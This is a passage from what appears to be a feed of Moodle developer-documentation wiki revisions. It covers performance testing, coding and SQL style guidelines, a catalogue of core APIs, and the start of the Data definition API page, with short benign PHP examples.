* Turn on [[:en:Debugging#Performance_info|display of performance information]] (including counting database queries), so you are aware of what your code is doing.&lt;br /&gt;
&lt;br /&gt;
* Use tools like [http://jakarta.apache.org/jmeter/ JMeter] to subject your new code to load.&lt;br /&gt;
&lt;br /&gt;
* Use https://github.com/moodlehq/moodle-performance-comparison (Moodle 2.5 onwards) to compare performance. You can also use the [[Test site generator]] or [[Test course generator]] generators (also Moodle 2.5 onwards).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Measure in production===&lt;br /&gt;
&lt;br /&gt;
* If you&#039;re using postgres, there&#039;s a script that can parse the logs and output the top 10 slow queries, ready to be plugged into a cronjob to email you every day.  It can be found here: &lt;br /&gt;
&lt;br /&gt;
http://git.catalyst.net.nz/gw?p=pgtools.git;a=blob_plain;f=scripts/pg-log-process.pl;hb=refs/heads/pg-log-process-multidb&lt;br /&gt;
&lt;br /&gt;
You need to configure postgres a bit to make it log things in the correct format.  Instructions are in the file.&lt;br /&gt;
&lt;br /&gt;
==How big can a Moodle site be?==&lt;br /&gt;
&lt;br /&gt;
Looking at the [http://moodle.org/stats/ statistics], the largest sites in the world currently have&lt;br /&gt;
* Up to 1 000 000 users&lt;br /&gt;
* Up to 50 000 courses&lt;br /&gt;
* Up to 5 000 users per course&lt;br /&gt;
* Up to 50 roles&lt;br /&gt;
* Up to 100 course categories nested up to about 10 levels deep.&lt;br /&gt;
* Up to XXX activities in a course.&lt;br /&gt;
* Please add more things here.&lt;br /&gt;
&lt;br /&gt;
When planning and testing your code, these are the sorts of numbers you should be contemplating. However, do not assume that Moodle sites will never get bigger than this.&lt;br /&gt;
&lt;br /&gt;
Even if you can&#039;t test sites this big on your development server, you should use the generator script so you can test your code in a Moodle site that is not tiny.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==See also==&lt;br /&gt;
&lt;br /&gt;
* [[Coding|Moodle coding guidelines]]&lt;br /&gt;
* [[Performance]] guidance for administrators&lt;br /&gt;
* [[Performance FAQ]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Coding guidelines|Performance]]&lt;br /&gt;
&lt;br /&gt;
[[ja:パフォーマンスおよびスケーラビリティ]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Coding&amp;diff=61658</id>
		<title>Coding</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Coding&amp;diff=61658"/>
		<updated>2022-01-29T15:03:53Z</updated>

		<summary type="html">&lt;p&gt;Mits: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This page is the top-level page describing Moodle&#039;s coding guidelines.  It&#039;s the place to start if you want to know how to write code for Moodle.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Moodle architecture==&lt;br /&gt;
&lt;br /&gt;
Moodle tries to run on the widest possible range of platforms, for the widest possible number of people, while remaining easy to install, use, upgrade and integrate with other systems.&lt;br /&gt;
&lt;br /&gt;
For more about this, see [[Moodle architecture]].&lt;br /&gt;
&lt;br /&gt;
==Plugins== &lt;br /&gt;
&lt;br /&gt;
Moodle has a general philosophy of modularity.  There are nearly 30 different standard types of plugins and even more sub-plugin types, however all of these plugin types work the same way. Blocks and activities are the only small exceptions.&lt;br /&gt;
&lt;br /&gt;
See [[Plugins|Moodle plugins]] and [[Subplugins|Moodle sub-plugins]] for more information.&lt;br /&gt;
&lt;br /&gt;
==Coding style==&lt;br /&gt;
&lt;br /&gt;
Consistent [[Coding style|coding style]] is important in any development project, and particularly so when many developers are involved. A standard style helps to ensure that the code is easier to read and understand, which helps overall quality. &lt;br /&gt;
&lt;br /&gt;
Writing your code in this way is an important step to having your code accepted by the Moodle community.&lt;br /&gt;
&lt;br /&gt;
Our [[Coding_style|Moodle coding style]] document explains this standard.&lt;br /&gt;
&lt;br /&gt;
==Security==&lt;br /&gt;
&lt;br /&gt;
Security is about protecting the interests and data of all our users.  Moodle may not be banking software, but it is still protecting a lot of sensitive and important data such as private discussions and grades from outside eyes (or student hackers!) as well as protecting our users from spammers and other internet predators.&lt;br /&gt;
&lt;br /&gt;
It&#039;s also a script running on people&#039;s servers, so Moodle needs to be a responsible Internet citizen and not introduce vulnerabilities that could allow crackers to gain unlawful access to the server it runs on. &lt;br /&gt;
&lt;br /&gt;
Any single script (in Moodle core or a third party module) can introduce a vulnerability to thousands of sites, so it&#039;s important that all developers strictly follow our [[Security|Moodle security guidelines]].&lt;br /&gt;
&lt;br /&gt;
==XHTML and CSS==&lt;br /&gt;
&lt;br /&gt;
It&#039;s important that Moodle produces strict, well-formed [http://en.wikipedia.org/wiki/HTML5 HTML 5] code (preferably backwards compatible with [[XHTML|XHTML 1.1]] if possible), compliant with all common accessibility guidelines (such as [http://www.w3.org/TR/WCAG20/ W3C WAG 2.0], [http://www.w3.org/TR/wai-aria-practices/ ARIA]).&lt;br /&gt;
&lt;br /&gt;
CSS should be used for layout. Moodle comes with several themes installed. Beginning with version 2.7, only the &#039;Clean&#039; theme comes in the base Moodle code. The &#039;standard&#039; theme, which should be a plain theme suitable to act as a building block for other themes. That should contain the minimal styling to make Moodle look OK and be functional. Then Moodle comes with several other default themes that look good and demonstrate various techniques for building themes.&lt;br /&gt;
&lt;br /&gt;
This helps consistency across browsers in a nicely-degrading way (especially those using non-visual or mobile browsers), as well as improving life for theme designers.&lt;br /&gt;
&lt;br /&gt;
==JavaScript==&lt;br /&gt;
&lt;br /&gt;
New Javscript in Moodle should be written as Vanilla javascript in the ES6 style. The use of jQuery, YUI, and other frameworks is strongly discouraged and will not be accepted into core except when dealing with legacy interfaces which require the use of those objects.&lt;br /&gt;
&lt;br /&gt;
In general code should be written to avoid displaying interfaces which are removed, or adding new interfaces as the page loads.&lt;br /&gt;
&lt;br /&gt;
All Javascript must be accessible.&lt;br /&gt;
&lt;br /&gt;
==Internationalisation==&lt;br /&gt;
&lt;br /&gt;
Moodle works in over 84 languages because we pay great attention to keeping the language strings and locale information separate from the code, in language packs.&lt;br /&gt;
&lt;br /&gt;
The default language for all code, comments and documentation, however, is English (AU).&lt;br /&gt;
&lt;br /&gt;
Full details:  [[String API]]&lt;br /&gt;
&lt;br /&gt;
==Accessibility==&lt;br /&gt;
&lt;br /&gt;
Moodle should work well for the widest possible range of people.&lt;br /&gt;
&lt;br /&gt;
See [[Accessibility|Moodle Accessibility]] for more information.&lt;br /&gt;
&lt;br /&gt;
==Usability==&lt;br /&gt;
&lt;br /&gt;
See [[Interface_guidelines| Interface Guidelines]] (under construction)&lt;br /&gt;
&lt;br /&gt;
==Performance==&lt;br /&gt;
&lt;br /&gt;
The load any Moodle site can cope with will, of course, depend on the server and network hardware that it is running on. However there are some features (intended especially for developers) that are discouraged on production sites for performance reasons.&lt;br /&gt;
&lt;br /&gt;
The most important property is scalability, so a small increase in the number of users, courses, activities in a course, and so on, only causes a correspondingly small increase in server load.&lt;br /&gt;
&lt;br /&gt;
For more information and advice, see [[Performance and scalability|Performance and scalability]].&lt;br /&gt;
&lt;br /&gt;
==Database==&lt;br /&gt;
&lt;br /&gt;
Moodle has a powerful database abstraction layer that we wrote ourselves, called [[XMLDB_Documentation|XMLDB]].  This lets the same Moodle code work on MySQL/MariaDB, PostgreSQL, MS SQL Server and Oracle. There are know issues when using Oracle, it is not fully supported and is not recommended for production sites.&lt;br /&gt;
&lt;br /&gt;
We have tools and API for [[DDL functions|defining and modifying tables]] as well as [[Data manipulation API|methods for getting data in and out]] of the database.&lt;br /&gt;
&lt;br /&gt;
Overview: [[Database|Moodle Database]] guidelines&lt;br /&gt;
&lt;br /&gt;
==Events==&lt;br /&gt;
&lt;br /&gt;
Moodle allows inter-module communication via &#039;&#039;&#039;events&#039;&#039;&#039;.  Modules can &#039;&#039;&#039;trigger&#039;&#039;&#039; specific events and other modules can choose to &#039;&#039;&#039;handle/observe&#039;&#039;&#039; those events.&lt;br /&gt;
&lt;br /&gt;
See:&lt;br /&gt;
* [[Events API]] - Since Moodle 2.6 - in particular, note the [[Events_API#Events_naming_convention|Events naming convention]].&lt;br /&gt;
&lt;br /&gt;
==Web services==&lt;br /&gt;
&lt;br /&gt;
Should be implemented according to [[Web service API functions]] and [[How to contribute a web service function to core]], including the [[Web_service_API_functions#Naming_convention|Naming convention]].&lt;br /&gt;
&lt;br /&gt;
==Manual testing==&lt;br /&gt;
&lt;br /&gt;
All issues integrated into the core codebase are tested both during Integration, and subsequently by our testing team. While much of this testing is automated, there are many parts which cannot be automated, and manual testing is required.&lt;br /&gt;
&lt;br /&gt;
Moodle has guidelines on [[Testing_instructions_guide|how to write clear testing instructions]] which we recommend you read and follow.&lt;br /&gt;
&lt;br /&gt;
==Unit testing==&lt;br /&gt;
&lt;br /&gt;
[http://en.wikipedia.org/wiki/Unit_testing Unit testing] is not simply a technique but a philosophy of software development.&lt;br /&gt;
&lt;br /&gt;
The idea is to create automatable tests for each bit of functionality that you are developing (at the same time you are developing it).  This not only helps everyone later test that the software works, but helps the development itself, because it forces you to work in a modular way with very clearly defined structures and goals.&lt;br /&gt;
&lt;br /&gt;
Moodle uses a framework called [https://github.com/sebastianbergmann/phpunit/ PHPUnit] that makes writing unit tests fairly simple.&lt;br /&gt;
&lt;br /&gt;
See [[PHPUnit]] for more information.&lt;br /&gt;
&lt;br /&gt;
==Acceptance testing==&lt;br /&gt;
&lt;br /&gt;
PHPUnit covers mostly the internal implementation of functions and classes, the user interaction testing can be automated using the [http://behat.org Behat framework].&lt;br /&gt;
&lt;br /&gt;
See [[Acceptance testing]] for more information.&lt;br /&gt;
&lt;br /&gt;
==Third Party Libraries==&lt;br /&gt;
Moodle has a standard way to include third party libraries in your code. See https://docs.moodle.org/dev/Third_Party_Libraries&lt;br /&gt;
&lt;br /&gt;
== Other standards ==&lt;br /&gt;
&lt;br /&gt;
Please note that Moodle coding style and design is pretty unique, it is not compatible with [http://pear.php.net/manual/en/standards.php PEAR coding standards] or any other common PHP standards.&lt;br /&gt;
&lt;br /&gt;
[[ja:開発:コーディング]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=SQL_coding_style&amp;diff=58362</id>
		<title>SQL coding style</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=SQL_coding_style&amp;diff=58362"/>
		<updated>2021-02-21T07:30:18Z</updated>

		<summary type="html">&lt;p&gt;Mits: ja link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This page describes recommended coding style for complex database queries. &lt;br /&gt;
&lt;br /&gt;
Full SQL queries are used in $DB-&amp;gt;get_records_sql(), $DB-&amp;gt;get_recordset_sql() or $DB-&amp;gt;execute(). SQL fragments may be used in DML method with _select() suffix.&lt;br /&gt;
&lt;br /&gt;
== General rules==&lt;br /&gt;
* Use parameter placeholders!&lt;br /&gt;
* All SQL keywords are in UPPER CASE.&lt;br /&gt;
* All SQL queries and fragments should be enclosed in double quotes.&lt;br /&gt;
* Complex SQL queries should be on multiple lines.&lt;br /&gt;
* Multiline SQL queries should be right aligned on SELECT, FROM, JOIN, WHERE, GROUPY BY and HAVING.&lt;br /&gt;
* Use JOIN instead of INNER JOIN.&lt;br /&gt;
* Do not use right joins.&lt;br /&gt;
* Always use AS keyword for column aliases.&lt;br /&gt;
* Never use AS keyword for table aliases.&lt;br /&gt;
* Use &amp;lt;&amp;gt; for comparing if values are not equals and do not use !=&lt;br /&gt;
&lt;br /&gt;
==Double quotes==&lt;br /&gt;
&lt;br /&gt;
All sql queries and fragments should be enclosed in double quotes, do not concat SQL from multiple parts if possible. The single quotes are used for sql strings, it also helps with visual highlighting and SQL code completion in some IDEs.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
$records = $DB-&amp;gt;get_records_select(&#039;some_table&#039;, &amp;quot;id &amp;gt; ?&amp;quot;, array(111));&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Parameter placeholders==&lt;br /&gt;
&lt;br /&gt;
All variable query parameters must be specified via placeholders. It is possible to use three different types of placeholders: :named, ? and $1. It is recommended to use named parameters if there is more than one parameter.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
$sql = &amp;quot;SELECT *&lt;br /&gt;
          FROM {some_table}&lt;br /&gt;
         WHERE id &amp;gt; :above&amp;quot;;&lt;br /&gt;
$records = $DB-&amp;gt;get_records_sql($sql, array(&#039;above&#039;=&amp;gt;111));&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Indentation==&lt;br /&gt;
&lt;br /&gt;
[[File:sql_indentation.png]]&lt;br /&gt;
&lt;br /&gt;
==Subqueries==&lt;br /&gt;
&lt;br /&gt;
There are no strict rules for subquery indentation, the deciding factor is good readability - see MDLSITE-1914.&lt;br /&gt;
&lt;br /&gt;
==See also==&lt;br /&gt;
&lt;br /&gt;
* [[Data manipulation API]]&lt;br /&gt;
* [[Database]]&lt;br /&gt;
* [[Coding style]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Coding guidelines|Coding style]]&lt;br /&gt;
[[Category:XMLDB]]&lt;br /&gt;
[[Category:DB]]&lt;br /&gt;
&lt;br /&gt;
[[ja:SQLコーディングスタイル]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Core_APIs&amp;diff=58186</id>
		<title>Core APIs</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Core_APIs&amp;diff=58186"/>
		<updated>2020-12-28T15:02:49Z</updated>

		<summary type="html">&lt;p&gt;Mits: ja link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Moodle has a number of core APIs that provide tools for Moodle scripts.&lt;br /&gt;
&lt;br /&gt;
They are essential when writing [[Plugins|Moodle plugins]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Most-used General APIs==&lt;br /&gt;
&lt;br /&gt;
These APIs are critical and will be used by nearly every Moodle plugin.&lt;br /&gt;
&lt;br /&gt;
=== Access API (access) ===&lt;br /&gt;
&lt;br /&gt;
The [[Access API]] gives you functions so you can determine what the current user is allowed to do, and it allows modules to extend Moodle with new capabilities.&lt;br /&gt;
&lt;br /&gt;
=== Data manipulation API (dml) ===&lt;br /&gt;
&lt;br /&gt;
The [[Data manipulation API]] allows you to read/write to databases in a consistent and safe way.&lt;br /&gt;
&lt;br /&gt;
=== File API (files) ===&lt;br /&gt;
&lt;br /&gt;
The [[File API]] controls the storage of files in connection to various plugins.&lt;br /&gt;
&lt;br /&gt;
=== Form API (form) ===&lt;br /&gt;
&lt;br /&gt;
The [[Form API]] defines and handles user data via web forms.&lt;br /&gt;
&lt;br /&gt;
=== Logging API (log) ===&lt;br /&gt;
&lt;br /&gt;
The [[Events API]] allows you to log events in Moodle, while [[Logging 2]] describes how logs are stored and retrieved.&lt;br /&gt;
&lt;br /&gt;
=== Navigation API (navigation) ===&lt;br /&gt;
&lt;br /&gt;
The [[Navigation API]] allows you to manipulate the navigation tree to add and remove items as you wish.&lt;br /&gt;
&lt;br /&gt;
=== Page API (page) ===&lt;br /&gt;
&lt;br /&gt;
The [[Page API]] is used to set up the current page, add JavaScript, and configure how things will be displayed to the user.&lt;br /&gt;
&lt;br /&gt;
=== Output API (output) ===&lt;br /&gt;
&lt;br /&gt;
The [[Output API]] is used to render the HTML for all parts of the page.&lt;br /&gt;
&lt;br /&gt;
=== String API (string) ===&lt;br /&gt;
&lt;br /&gt;
The [[String API]] is how you get language text strings to use in the user interface.   It handles any language translations that might be available.&lt;br /&gt;
&lt;br /&gt;
=== Upgrade API (upgrade) ===&lt;br /&gt;
&lt;br /&gt;
The [[Upgrade API]] is how your module installs and upgrades itself, by keeping track of its own version.&lt;br /&gt;
&lt;br /&gt;
=== Moodlelib API (core) ===&lt;br /&gt;
&lt;br /&gt;
The [[Moodlelib API]] is the central library file of miscellaneous general-purpose Moodle functions. Functions can over the handling of request parameters, configs, user preferences, time, login, mnet, plugins, strings and others. There are plenty of defined constants too.&lt;br /&gt;
&lt;br /&gt;
==Other General APIs==&lt;br /&gt;
&lt;br /&gt;
=== Admin settings API (admin) ===&lt;br /&gt;
&lt;br /&gt;
The [[Admin settings]] API deals with providing configuration options for each plugin and Moodle core.&lt;br /&gt;
&lt;br /&gt;
=== Analytics API (analytics) ===&lt;br /&gt;
&lt;br /&gt;
The [[Analytics API]] allow you to create prediction models and generate insights.&lt;br /&gt;
&lt;br /&gt;
=== Availability API (availability) ===&lt;br /&gt;
&lt;br /&gt;
The [[Availability API]] controls access to activities and sections.&lt;br /&gt;
&lt;br /&gt;
=== Backup API (backup) ===&lt;br /&gt;
&lt;br /&gt;
The [[Backup API]] defines exactly how to convert course data into XML for backup purposes, and the [[Restore API]] describes how to convert it back the other way.&lt;br /&gt;
&lt;br /&gt;
=== Cache API (cache) ===&lt;br /&gt;
&lt;br /&gt;
The [[The Moodle Universal Cache (MUC)]] is the structure for storing cache data within Moodle. [[Cache_API]] explains some of what is needed to use a cache in your code.&lt;br /&gt;
&lt;br /&gt;
=== Calendar API (calendar) ===&lt;br /&gt;
&lt;br /&gt;
The [[Calendar API]] allows you to add and modify events in the calendar for user, groups, courses, or the whole site.&lt;br /&gt;
&lt;br /&gt;
=== Check API (check) ===&lt;br /&gt;
&lt;br /&gt;
The [[Check API]] allows you to add security, performance or health checks to your site.&lt;br /&gt;
&lt;br /&gt;
=== Comment API (comment) ===&lt;br /&gt;
&lt;br /&gt;
The [[Comment API]] allows you to save and retrieve user comments, so that you can easily add commenting to any of your code.&lt;br /&gt;
&lt;br /&gt;
=== Competency API (competency) ===&lt;br /&gt;
&lt;br /&gt;
The [[Competency API]] allows you to list and add evidence of competencies to learning plans, learning plan templates, frameworks, courses and activities.&lt;br /&gt;
&lt;br /&gt;
=== Data definition API (ddl) ===&lt;br /&gt;
&lt;br /&gt;
The [[Data definition API]] is what you use to create, change and delete tables and fields in the database during upgrades.&lt;br /&gt;
&lt;br /&gt;
=== Editor API ===&lt;br /&gt;
&lt;br /&gt;
The [[Editor API]] is used to control HTML text editors.&lt;br /&gt;
&lt;br /&gt;
=== Enrolment API (enrol) ===&lt;br /&gt;
&lt;br /&gt;
The [[Enrolment API]] deals with course participants.&lt;br /&gt;
&lt;br /&gt;
=== Events API (event) ===&lt;br /&gt;
&lt;br /&gt;
The [[Events API]] allows to define &amp;quot;events&amp;quot; with payload data to be fired whenever you like, and it also allows you to define handlers to react to these events when they happen.  This is the recommended form of inter-plugin communication. This also forms the basis for logging in Moodle.&lt;br /&gt;
&lt;br /&gt;
=== Experience API (xAPI) ===&lt;br /&gt;
&lt;br /&gt;
The Experience API (xAPI) is an e-learning standard that allows learning content and learning systems to speak to each other. The [[Experience API (xAPI)]]&lt;br /&gt;
allows any plugin to generate and handle xAPI standard statements.&lt;br /&gt;
&lt;br /&gt;
=== External functions API (external) ===&lt;br /&gt;
&lt;br /&gt;
The [[External functions API]] allows you to create fully parametrised methods that can be accessed by external programs (such as [[Web services]]).&lt;br /&gt;
&lt;br /&gt;
=== Favourites API ===&lt;br /&gt;
&lt;br /&gt;
The [[Favourites API]] allows you to mark items as favourites for a user and manage these favourites. This is often referred to as &#039;Starred&#039;.&lt;br /&gt;
&lt;br /&gt;
=== Lock API (lock) ===&lt;br /&gt;
&lt;br /&gt;
The [[Lock API]] lets you synchronise processing between multiple requests, even for separate nodes in a cluster.&lt;br /&gt;
&lt;br /&gt;
=== Message API (message) ===&lt;br /&gt;
&lt;br /&gt;
The [[Message API]] lets you post messages to users.  They decide how they want to receive them.&lt;br /&gt;
&lt;br /&gt;
=== Media API (media) ===&lt;br /&gt;
&lt;br /&gt;
The [[Media_players#Using_media_players|Media]] API can be used to embed media items such as audio, video, and Flash.&lt;br /&gt;
&lt;br /&gt;
=== My profile API ===&lt;br /&gt;
&lt;br /&gt;
The [[My profile API]] is used to add things to the profile page.&lt;br /&gt;
&lt;br /&gt;
=== OAuth 2 API (oauth2) ===&lt;br /&gt;
&lt;br /&gt;
The [[OAuth 2 API]] is used to provide a common place to configure and manage external systems using OAuth 2.&lt;br /&gt;
&lt;br /&gt;
=== Payment API (payment) ===&lt;br /&gt;
&lt;br /&gt;
The [[Payment API]] deals with payments.&lt;br /&gt;
&lt;br /&gt;
=== Preference API (preference) ===&lt;br /&gt;
&lt;br /&gt;
The [[Preference API]] is a simple way to store and retrieve preferences for individual users.&lt;br /&gt;
&lt;br /&gt;
=== Portfolio API (portfolio) ===&lt;br /&gt;
&lt;br /&gt;
The [[Portfolio API]] allows you to add portfolio interfaces on your pages and allows users to package up data to send to their portfolios.&lt;br /&gt;
&lt;br /&gt;
=== Privacy API (privacy) ===&lt;br /&gt;
&lt;br /&gt;
The [[Privacy API]] allows you to describe the personal data that you store, and provides the means for that data to be discovered, exported, and deleted on a per-user basis.&lt;br /&gt;
This allows compliance with regulation such as the General Data Protection Regulation (GDPR) in Europe.&lt;br /&gt;
&lt;br /&gt;
=== Rating API (rating) ===&lt;br /&gt;
&lt;br /&gt;
The [[Rating API]] lets you create AJAX rating interfaces so that users can rate items in your plugin.  In an activity module, you may choose to aggregate ratings to form grades.&lt;br /&gt;
&lt;br /&gt;
=== RSS API (rss) ===&lt;br /&gt;
&lt;br /&gt;
The [[RSS API]] allows you to create secure RSS feeds of data in your module.&lt;br /&gt;
&lt;br /&gt;
=== Search API (search) ===&lt;br /&gt;
&lt;br /&gt;
The [[Search API]] allows you to index contents in a search engine and query the search engine for results.&lt;br /&gt;
&lt;br /&gt;
=== Tag API (tag) ===&lt;br /&gt;
&lt;br /&gt;
The [[Tag API]] allows you to store tags (and a tag cloud) to items in your module.&lt;br /&gt;
&lt;br /&gt;
=== Task API (task) ===&lt;br /&gt;
&lt;br /&gt;
The [[Task API]] lets you run jobs in the background. Either once off, or on a regular schedule.&lt;br /&gt;
&lt;br /&gt;
=== Time API (time) ===&lt;br /&gt;
&lt;br /&gt;
The [[Time API]] takes care of translating and displaying times between users in the site.&lt;br /&gt;
&lt;br /&gt;
=== Testing API (test) ===&lt;br /&gt;
&lt;br /&gt;
The testing API contains the Unit test API ([[PHPUnit]]) and Acceptance test API ([[Acceptance testing]]). Ideally all new code should have unit tests written FIRST.&lt;br /&gt;
&lt;br /&gt;
=== User-related APIs (user) ===&lt;br /&gt;
&lt;br /&gt;
This is a rather informal grouping of miscellaneous [[User-related APIs]] relating to sorting and searching lists of users.&lt;br /&gt;
&lt;br /&gt;
=== Web services API (webservice) ===&lt;br /&gt;
&lt;br /&gt;
The [[Web services API]] allows you to expose particular functions (usually external functions) as web services.&lt;br /&gt;
&lt;br /&gt;
=== Badges API (badges) ===&lt;br /&gt;
&lt;br /&gt;
The [https://docs.moodle.org/dev/OpenBadges_User_Documentation Badges] user documentation (is a temp page until we compile a proper page with all the classes and APIs that allows you to manage particular badges and OpenBadges Backpack).&lt;br /&gt;
&lt;br /&gt;
=== Custom fields API ===&lt;br /&gt;
&lt;br /&gt;
The [[Custom fields API]] allows you to configure and add custom fields for different entities&lt;br /&gt;
&lt;br /&gt;
== Activity module APIs ==&lt;br /&gt;
&lt;br /&gt;
Activity modules are the most important plugin in Moodle.  There are several core APIs that service only Activity modules.&lt;br /&gt;
&lt;br /&gt;
=== Activity completion API (completion) ===&lt;br /&gt;
&lt;br /&gt;
The [[Activity completion API]] is to indicate to the system how activities are completed.&lt;br /&gt;
&lt;br /&gt;
=== Advanced grading API (grading) ===&lt;br /&gt;
&lt;br /&gt;
The [[Advanced grading API]] allows you to add more advanced grading interfaces (such as rubrics) that can produce simple grades for the gradebook.&lt;br /&gt;
&lt;br /&gt;
=== Conditional activities API (condition) - deprecated in 2.7 ===&lt;br /&gt;
&lt;br /&gt;
The deprecated [[Conditional activities API]] used to provide conditional access to modules and sections in Moodle 2.6 and below. It has been replaced by the [[Availability API]].&lt;br /&gt;
&lt;br /&gt;
=== Groups API (group) ===&lt;br /&gt;
&lt;br /&gt;
The [[Groups API]] allows you to check the current activity group mode and set the current group.&lt;br /&gt;
&lt;br /&gt;
=== Gradebook API (grade) ===&lt;br /&gt;
&lt;br /&gt;
The [[Gradebook API]] allows you to read and write from the gradebook.  It also allows you to provide an interface for detailed grading information.&lt;br /&gt;
&lt;br /&gt;
=== Plagiarism API (plagiarism) ===&lt;br /&gt;
&lt;br /&gt;
The [[Plagiarism API]] allows your activity module to send files and data to external services to have them checked for plagiarism.&lt;br /&gt;
&lt;br /&gt;
=== Question API (question) ===&lt;br /&gt;
&lt;br /&gt;
The [[Question API]] (which can be divided into the Question bank API and the Question engine API), can be used by activities that want to use questions from the question bank.&lt;br /&gt;
&lt;br /&gt;
== See also ==&lt;br /&gt;
&lt;br /&gt;
* [[Plugins]] - plugin types also have their own APIs&lt;br /&gt;
* [[Callbacks]] - list of all callbacks in Moodle&lt;br /&gt;
* [[Coding style]] - general information about writing PHP code for Moodle&lt;br /&gt;
&lt;br /&gt;
[[ja:コアAPI]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Data_definition_API&amp;diff=57895</id>
		<title>Data definition API</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Data_definition_API&amp;diff=57895"/>
		<updated>2020-10-07T15:03:49Z</updated>

		<summary type="html">&lt;p&gt;Mits: ja link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Moodle_2.0}}In this page you&#039;ll access to the available functions under Moodle to be able to handle DB structures (tables, fields, indexes...).&lt;br /&gt;
&lt;br /&gt;
The objective is to have a well-defined group of functions able to handle all the DB structure (DDL statements) using one neutral description, being able to execute the correct SQL statements required by each RDBMS. All these functions are used &#039;&#039;&#039;[[Installing and upgrading plugin database tables|exclusively by the installation and upgrade processes]]&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
In this page you&#039;ll see a complete list of such functions, with some explanations, tricks and examples of their use. If you are interested, it&#039;s also highly recommendable to take a look to the [[DML functions|DML functions page]] where everything about how to handle DB data (select, insert, update, delete i.e. DML statements) is defined.&lt;br /&gt;
&lt;br /&gt;
Of course, feel free to clarify, complete and add more info to all this documentation. It will be welcome, absolutely!&lt;br /&gt;
&lt;br /&gt;
==Main info==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Important note:&#039;&#039;&#039; All the functions showed in this page are for use in &#039;&#039;&#039;Moodle 2.0 upwards&#039;&#039;&#039;, where we changed the [[DB layer 2.0|DB layer]] to support some new features. If you need information for previous Moodle version, take a look to the [[DDL functions - pre 2.0|DDL functions - pre 2.0]] page. For a detailed reference of changes, see the [[DB layer 2.0 migration docs|migration docs]].&lt;br /&gt;
&lt;br /&gt;
* All the function calls in this page are public methods of the &#039;&#039;&#039;database manager&#039;&#039;&#039;, accessible from the $DB global object. So you&#039;ll need to &amp;quot;import&amp;quot; it within your &#039;&#039;&#039;upgrade.php&#039;&#039;&#039; main function with something like:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function xmldb_xxxx_upgrade {&lt;br /&gt;
  &lt;br /&gt;
    global $DB;&lt;br /&gt;
  &lt;br /&gt;
    $dbman = $DB-&amp;gt;get_manager(); // loads ddl manager and xmldb classes&lt;br /&gt;
  &lt;br /&gt;
    /// Your upgrade code goes here&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Once more, the use of these functions is &#039;&#039;&#039;restricted&#039;&#039;&#039; to the upgrade processes and it shouldn&#039;t be used ever out from there.&lt;br /&gt;
* All the $table, $field, $index parameters are, always, XMLDB objects. Don&#039;t forget to read carefully the complete documentation about [[XMLDB creating new DDL functions|creating new DDL functions]] before playing with these functions. Everything is explained there, with one general example and some really useful tricks to improve the use of all the functions detailed below.&lt;br /&gt;
* If you want real examples of the usage of these functions it&#039;s 100% interesting to examine the &#039;&#039;&#039;upgrade.php&#039;&#039;&#039; scripts that are responsible for Moodle upgrading since the 1.7 release. &lt;br /&gt;
* Also, it&#039;s a &#039;&#039;&#039;very good idea&#039;&#039;&#039; (highly recommended!) to use the [[XMLDB editor|XMLDB Editor]] itself to generate automatically the desired PHP code. Just play with it!&lt;br /&gt;
&lt;br /&gt;
==The functions==&lt;br /&gt;
&lt;br /&gt;
===Handling tables===&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
/// To detect if one table exists:&lt;br /&gt;
    $dbman-&amp;gt;table_exists($table)&lt;br /&gt;
&lt;br /&gt;
/// To create one table:&lt;br /&gt;
    $dbman-&amp;gt;create_table($table, $continue=true, $feedback=true)&lt;br /&gt;
&lt;br /&gt;
/// To drop one table:&lt;br /&gt;
    $dbman-&amp;gt;drop_table($table, $continue=true, $feedback=true)&lt;br /&gt;
&lt;br /&gt;
/// To rename one table:&lt;br /&gt;
    $dbman-&amp;gt;rename_table($table, $newname, $continue=true, $feedback=true)&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Handling fields===&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
/// To detect if one field exists:&lt;br /&gt;
    $dbman-&amp;gt;field_exists($table, $field)&lt;br /&gt;
&lt;br /&gt;
/// To create one field:&lt;br /&gt;
    $dbman-&amp;gt;add_field($table, $field, $continue=true, $feedback=true)&lt;br /&gt;
&lt;br /&gt;
/// To drop one field:&lt;br /&gt;
    $dbman-&amp;gt;drop_field($table, $field, $continue=true, $feedback=true)&lt;br /&gt;
